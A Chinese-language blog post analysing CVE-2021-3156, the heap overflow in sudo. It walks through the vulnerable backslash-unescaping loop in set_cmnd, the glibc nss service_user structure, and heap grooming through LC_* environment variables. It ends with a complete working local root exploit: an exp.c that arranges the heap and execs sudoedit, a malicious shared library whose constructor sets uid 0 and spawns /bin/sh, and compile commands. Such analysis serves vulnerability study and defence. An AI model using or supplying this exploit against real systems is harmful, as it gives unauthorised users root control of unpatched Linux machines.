一、概述
CVE-2021-3156 漏洞主要成因在于sudo中存在一个基于堆的缓冲区溢出漏洞,当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码
二、漏洞简介与环境搭建
漏洞简介:
漏洞编号: CVE-2021-3156
漏洞产品: sudo
影响版本:
1.8.2-1.8.31sp12;
1.9.0-1.9.5sp1
利用后果: 本地提权
漏洞检测:
用户首先使用非root账户登录系统,然后执行
sudoedit -s /
如果返回如图所示以usage开头的报错:
则说明当前系统不存在此漏洞或漏洞已修复
如果返回如下图所示以sudoedit为开头的报错则说明系统存在此漏洞:
环境搭建:
由于本人的虚拟机中的ubuntu系统均已修复此漏洞,所以直接选择用拉取合适的docker
docker 环境: https://hub.docker.com/r/chenaotian/cve-2021-3156
这个docker中提供了:
1.自己编译的可源码调式的sudo
2.有调试符号的glibc
3.gdb 和gdb插件pwngdb & pwndbg
4.exp.c 及其编译成功的exp
这对我们的漏洞分析和漏洞复现过程有很大帮助,可以让我们把更多的时间和精力放到对漏洞代码的分析和利用上,而不是苦逼的配环境。
首先拉取镜像
然后启动docker,查看一下sudo的版本:
用上面提到的漏洞检测方式来检查一下是否存在此漏洞:
最后检测一下是否可以打通:
用的是id为1000的test账户执行exp,执行完之后用户权限已经变成了root,成功提权,到这里所有的漏洞复现准备工作都做完了,接下来进行漏洞分析
三、漏洞分析
首先来分析一下此漏洞的POC:
sudoedit -s '\'`python3 -c "print('A'*80)"`
可以看到是一个内存错误,此漏洞就在于sudo没有正确处理好反斜杠。当使用-s或-i的时候,sudo会转义特殊字符,但是如果用-s或-i参数和sudoedit命令,特殊字符不会被转义,这会导致一个缓冲区溢出。可以看到我们所用的poc就是使用sudoedit命令以及-s 参数,后面则是一个反斜杠加上由python3命令生成的80个A。
接下来我们深入到sudo源码里去看看为什么这样一行命令就可以造成缓冲区溢出,从而导致程序崩溃甚至最后达到提权的目的。
先来看sudo.c的133行,也就是main函数位置
1.intparse_args(int argc,char**argv,int*nargc,char***nargv,2.structsudo_settings**settingsp,char***env_addp)3.{4.structenvironment extra_env;5.int mode =0;/* what mode is sudo to be run in? */6.int flags =0;/* mode flags */7.int valid_flags = DEFAULT_VALID_FLAGS;8.int ch, i;9.char*cp;10.constchar*runas_user =NULL;11.constchar*runas_group =NULL;12.constchar*progname;13.int proglen;14.debug_decl(parse_args, SUDO_DEBUG_ARGS)15. ······
16. ······
17./* First, check to see if we were invoked as "sudoedit". */18. proglen =strlen(progname);19.if(proglen >4&&strcmp(progname + proglen -4,"edit")==0){20. progname ="sudoedit";21. mode = MODE_EDIT;22. sudo_settings[ARG_SUDOEDIT].value ="true";23.}24. ······
25. ······
26.case's':27. sudo_settings[ARG_USER_SHELL].value ="true";28.SET(flags, MODE_SHELL);29.break;30. ······
31. ······
32.}
首先parse_args会检测执行命令的长度,如果大于4且后四个字母为edit,则说明调用的不是sudo而是sudoedit,于是将mode设置为MODE_EDIT,然后去检测参数,如果参数为-s,则把flags设置为MODE_SHELL
接下来继续跟进main函数,然后会执行policy_check函数
跟进一下:
1.staticintpolicy_check(structplugin_container*plugin,int argc,char*const argv[],2.char*env_add[],char**command_info[],char**argv_out[],3.char**user_env_out[])4.{5.int ret;6.debug_decl(policy_check, SUDO_DEBUG_PCOMM)7.8.if(plugin->u.policy->check_policy ==NULL){9.sudo_fatalx(U_("policy plugin %s is missing the `check_policy' method"),10. plugin->name);11.}12.sudo_debug_set_active_instance(plugin->debug_instance);13. ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,14. argv_out, user_env_out);15.sudo_debug_set_active_instance(sudo_debug_instance);16.debug_return_int(ret);17.}
会发现程序执行流走向了plugin->u.policy->check_policy(argc, argv, env_add, command_info,argv_out, user_env_out);
继续跟进,由于这里使用的是虚表,直接静态不太好看得出调用的是什么函数,所以使用gdb进行动态调试:
断点打在policy_check函数这里,然后步进
可以看到,这里的call函数实际上调用的是sudoers_policy_check函数,我们看看这个函数源码长什么样子:
1.sudoers_policy_check(int argc,char*const argv[],char*env_add[],2.char**command_infop[],char**argv_out[],char**user_env_out[])3.{4.structsudoers_exec_args exec_args;5.int ret;6.debug_decl(sudoers_policy_check, SUDOERS_DEBUG_PLUGIN)7.8.if(!ISSET(sudo_mode, MODE_EDIT))9.SET(sudo_mode, MODE_RUN);10.11. exec_args.argv = argv_out;12. exec_args.envp = user_env_out;13. exec_args.info = command_infop;14.15. ret =sudoers_policy_main(argc, argv,0, env_add,&exec_args);16.if(ret == true && sudo_version >=SUDO_API_MKVERSION(1,3)){17./* Unset close function if we don't need it to avoid extra process. */18.if(!def_log_input &&!def_log_output &&!def_use_pty &&19.!sudo_auth_needs_end_session())20. sudoers_policy.close =NULL;21.}22.debug_return_int(ret);23.}
函数非常简短,基本就是设置一些变量,然后就去调用了sudoers_policy_main函数,继续跟进到sudoers_policy_main函数中:
1.intsudoers_policy_main(int argc,char*const argv[],int pwflag,char*env_add[],2.void*closure)3.{4. ··· ···
5. ··· ···
6.7./*
8. * Make a local copy of argc/argv, with special handling
9. * for pseudo-commands and the '-i' option.
10. */11.if(argc ==0){12. ··· ···
13.}else{14./* Must leave an extra slot before NewArgv for bash's --login */15. NewArgc = argc;16. NewArgv =reallocarray(NULL, NewArgc +2,sizeof(char*));17. ··· ···
18.}19.memcpy(++NewArgv, argv, argc *sizeof(char*));20. NewArgv[NewArgc]=NULL;21. ··· ···
22.}23.}24. ··· ···
25. cmnd_status =set_cmnd();26. ··· ···
27. ··· ···
28. ··· ···
29.}
由于这个函数比较长,这里只选取了一些值得关注的操作,其余以省略号替代
先是传了一些参数,然后调用set_cmnd,我在gdb调的时候用的命令是sudoedit -s ‘\’ aaaaaaaa
来看看党调用set_cmnd的时候NewArgc和NewArgv的值为多少
接下来我们看看set_cmnd做了什么
1.staticint2.set_cmnd(void)3.{4. ··· ···
5. ··· ···
6.7./* set user_args */8.if(NewArgc >1){9.char*to,*from,**av;10.size_t size, n;11.12./* Alloc and build up user_args. */13.//根据参数总长度计算size, 后续malloc 申请,没有问题 14.for(size =0, av = NewArgv +1;*av; av++)15. size +=strlen(*av)+1;16.if(size ==0||(user_args =malloc(size))==NULL){17.sudo_warnx(U_("%s: %s"),__func__,U_("unable to allocate memory"));18.debug_return_int(-1);19.}20.if(ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){21./*
22. * When running a command via a shell, the sudo front-end
23. * escapes potential meta chars. We unescape non-spaces
24. * for sudoers matching and logging purposes.
25. */26.//将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符 27.//但这里\x00 并不算空格类型字符 28.//他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况 29.for(to = user_args, av = NewArgv +1;(from =*av); av++){30.while(*from){31.if(from[0]=='\\'&&!isspace((unsignedchar)from[1]))32. from++;33.*to++=*from++;34.}35.*to++=' ';36.}37.*--to ='\0';38.}39. ··· ···
40.}41.}42. ··· ···
43. ··· ···
44.}
同样也是省略了一些不需要分析的代码
走到这里,我们终于来到了溢出点,我们输入的参数就是在这里被存进堆中,我们将这段代码切割成小的代码片来分析它的意图
首先是申请内存部分:
1.for(size =0, av = NewArgv +1;*av; av++)2. size +=strlen(*av)+1;3.if(size ==0||(user_args =malloc(size))==NULL){4.sudo_warnx(U_("%s: %s"),__func__,U_("unable to allocate memory"));5.debug_return_int(-1);6.}7.
这里计算了每一个参数的长度,然后把他们加到一起,得到一个size,然后malloc(size),这里的意图很明显,就是算一下想要装下所有的参数需要多大的空间,然后申请出来,指针给到user_args
接下来是拷贝部分:
1.for(to = user_args, av = NewArgv +1;(from =*av); av++){2.while(*from){3.if(from[0]=='\\'&&!isspace((unsignedchar)from[1]))4. from++;5.*to++=*from++;6.}7.*to++=' ';8.}9.*--to ='\0';
这里就是漏洞所在,它把每个参数取出来,让from指针指向参数内容,to指针则指向堆内存,然后判断如果是反斜杠+非空格字符这种结构,就只拷贝后面这个字符,不拷贝反斜杠。参数与参数之间是用空格分割。
这里我们先仔细关注一下NewArgv是怎么保存的我们的参数,还是刚才那个图
只不过这次我们关注地址,可以看到NewArgv[0]存在一个地方,NewArgv[1]以及以后的参数会连续存储在另一个地方,中间用\x00分隔
直接查看内存也能看出来:
现在考虑这种特殊情况,如果有一个参数只有一个反斜杠,那么根据上面代码里的流程,由于反斜杠+\x00满足反斜杠+非空格字符这一条件,所以from++,然后将\x00拷贝到堆内存中,from再次++,发现问题了没有,这里from已经指向了下一个参数了,而程序是如何区分不同参数的?
靠的是while循环里的判断条件,即根据\x00来判断,所以这里直接绕过了这个判断,让程序连续拷贝了两个参数,而这个反斜杠参数拷贝完,下一个参数还会再拷贝一次,对于sudoedit -s ‘\’ AAAAAAAA来说,相当于程序拷贝了AAAAAAAA两次,但是申请内存计算size的时候只计算了一个AAAAAAAA,所以导致了堆溢出,而这个漏洞之所以危害性高也是因为堆溢出的内容是用户完全自主可控的,所以才让后面的进一步利用如提权等成为可能。
触发漏洞的路径可以总结为:
sudo.c : main
sudo.c : policy_check
policy.c : sudoerrs_policy_check
sudoers.c : sudoers_policy_main
sudoers.c : set_cmnd
sudoers.c : 859
为了方便触发漏洞,我将参数修改为0x10个A,然后走到计算size那一步:
可以看到size为19,即反斜杠长度1+1+16个A+1,为19没有任何问题,接下来走到拷贝那里
把这个for循环走完,然后看看堆内存是个什么情况:
可以看到堆块结构已经被破坏了,原本size为19,所以会申请一个大小为0x20的chunk,也就是0x561d2f447e80这里的chunk,但是拷贝了0x22个字节进去,所以把下一个chunk的size给覆盖掉了,所以才导致gdb在分析堆快结构的时候将0x4141414141414141识别为size
分析到了这里,已经将漏洞成因彻底分析明白了,接下来我们继续关注如何进一步利用这个漏洞。
四、利用手法分析
本漏洞利用手法有一定的堆布局难度,最后的提权是通过堆溢出覆盖nss_load_library函数加载so的时候需要用到的结构体service_user,覆盖此结构体中的so名字符串,这样就可以让程序加载我们指定的so文件,从而完成任意代码执行。
我们要做的事情有两个:
1.搞清楚nss_load_library的函数调用流程和相关的数据结构机制
2.setlocale 如何通过环境变量LC_* 进行堆布局
漏洞利用关键代码片段:
1.staticint2.nss_load_library(service_user *ni)3.{4.if(ni->library ==NULL)5.{6.static name_database default_table;7. ni->library =nss_new_service(service_table ?:&default_table,8. ni->name);9.if(ni->library ==NULL)10.return-1;11.}12.13.if(ni->library->lib_handle ==NULL)14.{15. ··· ···
16.__stpcpy(__stpcpy(__stpcpy(__stpcpy(shlib_name,17."libnss_"),18. ni->name),19.".so"),20. __nss_shlib_revision);21.22. ni->library->lib_handle =__libc_dlopen(shlib_name);23. ··· ···
24. ··· ···
25.}26.}
ni为堆上的service_user 结构体,当 ni->library->lib_handle 为NULL 时,就会调用__libc_dlopen 进行 so 装载,只要我们能够通过堆溢出将ni->library覆盖为0,就会让程序调用nss_new_service函数让ni结构体重新初始化,刚初始化后的ni->library->lib_handle一定为0,所以会运行到下面的代码块,执行到__libc_dlopen 函数。
这里是漏洞利用的核心代码,接下来我们考虑如何实现精准的堆溢出来覆盖ni结构体,这就要提到nss机制,首先/etc/目录下有一个文件/etc/nsswitch.conf,来看看里面写了些啥
它规定了程序在查找so方法的时候采用何种途径和顺序
然后来看三个结构体的内容
1.typedefstructservice_user2.{3./* And the link to the next entry. */4.structservice_user*next;5./* Action according to result. */6. lookup_actions actions[5];7./* Link to the underlying library object. */8. service_library *library;9./* Collection of known functions. */10.void*known;11./* Name of the service (`files', `dns', `nis', ...). */12.char name[0];13.} service_user;14.15.typedefstructname_database_entry16.{17./* And the link to the next entry. */18.structname_database_entry*next;19./* List of service to be used. */20. service_user *service;21./* Name of the database. */22.char name[0];23.} name_database_entry;24.25.typedefstructname_database26.{27./* List of all known databases. */28. name_database_entry *entry;29./* List of libraries with service implementation. */30. service_library *library;31.} name_database;
在__nss_database_lookup函数中,如果全局入口 service_table 为空,则会调用 nss_parse_file 进行初始化,相关代码如下:
1.int2.__nss_database_lookup(constchar*database,constchar*alternate_name,3.constchar*defconfig, service_user **ni)4.{5. ··· ···
6./* Are we initialized yet? */7.if(service_table ==NULL)8./* Read config file. */9. service_table =nss_parse_file(_PATH_NSSWITCH_CONF);10. ··· ···
11.}
然后继续看nss_parse_file是如何实现的:
1.static name_database *2.nss_parse_file(constchar*fname)3.{4. FILE *fp;5. name_database *result;6. name_database_entry *last;7. ··· ···
8.//打开/etc/nsswitch.conf 9. fp =fopen(fname,"rce");10. ··· ···
11. result =(name_database *)malloc(sizeof(name_database));12. ··· ···
13.do14.{15. name_database_entry *this;16.ssize_t n;17. n =__getline(&line,&len, fp);// getline 这里会申请一个0x80 大小的chunk 18.19. ··· ···
20.21. this =nss_getline(line);22.if(this !=NULL)23.{24.if(last !=NULL)25. last->next = this;26.else27. result->entry = this;28.29. last = this;30.}31.}32.while(!feof_unlocked(fp));33.34./* Free the buffer. */35.free(line);//在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。 36./* Close configuration file. */37.fclose(fp);38.39.return result;}
到这里大概梳理一下程序逻辑,程序会打开/etc/nsswitch.conf,文件,读入内容并根据内容建立堆快结构,最后形成如下结构:
这七个chunk是在同一个函数中一次性申请出来的
除此之外,值得注意的是,在 nss_parse_file 函数中有一个 __getline 函数,该函数会根据读入内容的长度申请一个chunk,并且这个chunk 会在最后 nss_parse_file 函数返回时被释放。由于/etc/nsswitch.conf 里面内容格式基本最长的一行就是注释了,而且我们不可控该文件,所以这里可以认为每次 __getline 函数中申请的chunk 长度是一样的,固定为0x80大小。
所以我们可以将它理解为,这是一个在service 链表之前申请的,并且service链表结构申请完毕就会被释放的,而且在vuln chunk 申请之前还能一直保持free 状态的一个非常宝贵的chunk。
分析完这个函数,我们总得知道怎么触发它吧,当需要调用一些,查找用户或者主机信息的函数时,会执行以下流程:
1.void*2.__nss_lookup_function(service_user *ni,constchar*fct_name)3.{4. ··· ···
5.6. found =__tsearch(&fct_name,&ni->known,&known_compare);7. ··· ···//没有搜到的一些操作省略 8.9.else10.{11. known_function *known =malloc(sizeof*known);12. ··· ···
13.else14.{15.//调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen 16.//具体nss_load_library 代码见上面 17. ··· ···
18.if(nss_load_library(ni)!=0)19./* This only happens when out of memory. */20.goto remove_from_tree;21.22.if(ni->library->lib_handle ==(void*)-1l)23./* Library not found => function not found. */24. result =NULL;25.else26.{27. ··· ···
28.29./* Construct the function name. */30.__stpcpy(__stpcpy(__stpcpy(__stpcpy(name,"_nss_"),31. ni->name),32."_"),33. fct_name);34.35./* Look up the symbol. */36. result =__libc_dlsym(ni->library->lib_handle, name);37.}38.39. ··· ···
40. ··· ···
41.42.}43. ···
44.return result;45.}libc_hidden_def(__nss_lookup_function)
可以看到就是在这里调用了nss_load_library (ni),也就是说只要调用了libnss_xx.so里的函数,就一定会调用nss_load_library来进行搜索。只需要知道堆溢出发生之后,第一个被调用的libnss相关的函数属于哪个so,然后通过堆布局将该so 所属的service_user 结构体布局到 vuln chunk 后面即可
分析完任意代码执行原理,再来谈谈如何进行堆布局,只有通过合理的堆布局,才能成功溢出到对应的结构体且不修改其他正常结构体。这里介绍一种方法:setlocale
setlocale 的堆机制,关键就一句话,按照自己想要释放的chunk 顺序去输入该长度的环境变量即可,能保证释放顺序和前后关系,但这些chunk 并不前后紧密相连
Setlocale是用来设置语言环境的,有几种环境变量参数,在sudo 中使用的是 setlocale(LC_ALL,“”); 当传入参数是LC_ALL 时,会从 LC_IDENTIFICATION 开始向前遍历所有的变量。对于每一个调用 _nl_find_locale 函数,这个函数里面比较复杂,但返回的 newnames[category] 其实就是对应环境变量的值,会在接下来调用strdup 函数将该字符串拷贝到堆上。由于传入的是LC_ALL ,那么会生成一个对应的字符串数组,接下来会和全局变量默认值进行一次校验,如果校验失败,那么就会将其释放(很容易构造出失败的输入)。
也就是说,我们可以通过构造一些合理长度的失败输入,实现任意次任意长度的堆申请和堆释放,这对我们的堆布局有非常大的帮助。
最后就是找到堆溢出之后第一个调用的nss里的函数,根据这个图找到它对应着几号chunk:
然后计算好参数总长度,让sudo申请到我们布置好的chunk,并且让接下来nss函数申请的chunk处在sudo申请的chunk的下方,然后利用sudo造成的堆溢出覆盖service_user结构体即可,name在service_user结构体偏移0x30的位置,覆盖成我们自己写的.so的name即可实现任意代码执行
1.#include<stdio.h>2.#include<string.h>3.#include<stdlib.h>4.#include<math.h>5.6.#define __LC_CTYPE 07.#define __LC_NUMERIC 18.#define __LC_TIME 29.#define __LC_COLLATE 310.#define __LC_MONETARY 411.#define __LC_MESSAGES 512.#define __LC_ALL 613.#define __LC_PAPER 714.#define __LC_NAME 815.#define __LC_ADDRESS 916.#define __LC_TELEPHONE 1017.#define __LC_MEASUREMENT 1118.#define __LC_IDENTIFICATION 1219.20.char* envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE
21.PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};22.23.int now=13;24.int envnow=0;25.int argvnow=0;26.char* envp[0x300];27.char* argv[0x300];28.char*addChunk(int size)29.{30. now --;31.char* result;32.if(now ==6)33.{34. now --;35.}36.if(now>=0)37.{38. result=malloc(size+0x20);39.strcpy(result,envName[now]);40.strcat(result,"=C.UTF-8@");41.for(int i=9;i<=size-0x17;i++)42.strcat(result,"A");43. envp[envnow++]=result;44.}45.return result;46.}47.48.voidfinal()49.{50. now --;51.char* result;52.if(now ==6)53.{54. now --;55.}56.if(now>=0)57.{58. result=malloc(0x100);59.strcpy(result,envName[now]);60.strcat(result,"=xxxxxxxxxxxxxxxxxxxxx");61. envp[envnow++]=result;62.}63.}64.65.intsetargv(int size,int offset)66.{67. size-=0x10;68.signedint x,y;69.signedint a=-3;70.signedint b=2*size-3;71.signedint c=2*size-2-offset*2;72.signedint tmp=b*b-4*a*c;73.if(tmp<0)74.return-1;75. tmp=(signedint)sqrt((double)tmp*1.0);76.signedint A=(0-b+tmp)/(2*a);77.signedint B=(0-b-tmp)/(2*a);78.if(A<0&& B<0)79.return-1;80.if((A>0&& B<0)||(A<0&& B>0))81. x=(A>0)? A: B;82.if(A>0&& B >0)83. x=(A<B)? A : B;84. y=size-1-x*2;85.int len=x+y+(x+y+y+1)*x/2;86.87.while((signedint)(offset-len)<2)88.{89. x--;90. y=size-1-x*2;91. len=x+y+(x+y+1)*x/2;92.if(x<0)93.return-1;94.}95.int envoff=offset-len-2+0x30;96.printf("%d,%d,%d\n",x,y,len);97.char* Astring=malloc(size);98.int i=0;99.for(i=0;i<y;i++)100. Astring[i]='A';101. Astring[i]='\x00';102.103. argv[argvnow++]="sudoedit";104. argv[argvnow++]="-s";105.for(i=0;i<x;i++)106. argv[argvnow++]="\\";107. argv[argvnow++]=Astring;108. argv[argvnow++]="\\";109. argv[argvnow++]=NULL;110.for(i=0;i<envoff;i++)111. envp[envnow++]="\\";112. envp[envnow++]="X/test";113.return0;114.}115.116.intmain()117.{118.setargv(0xa0,0x650);119.addChunk(0x40);120.addChunk(0x40);121.addChunk(0xa0);122.addChunk(0x40);123.final();124.125.execve("/usr/local/bin/sudoedit",argv,envp);126.}1.#include <unistd.h>2.#include <stdio.h>3.#include <stdlib.h>4.#include <string.h>5.6.staticvoid__attribute__((constructor))_init(void);7.8.staticvoid_init(void){9.printf("[+] bl1ng bl1ng! We got it!\n");10.#ifndef BRUTE
11.setuid(0);seteuid(0);setgid(0);setegid(0);12.staticchar*a_argv[]={"sh",NULL};13.staticchar*a_envp[]={"PATH=/bin:/usr/bin:/sbin",NULL};14.execv("/bin/sh", a_argv);15.#endif
16.}
编译命令:
1.mkdir libnss_X
2.gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2
3.gcc exp.c -o exp
版权归原作者 Ayakaaaa 所有, 如有侵权,请联系我们删除。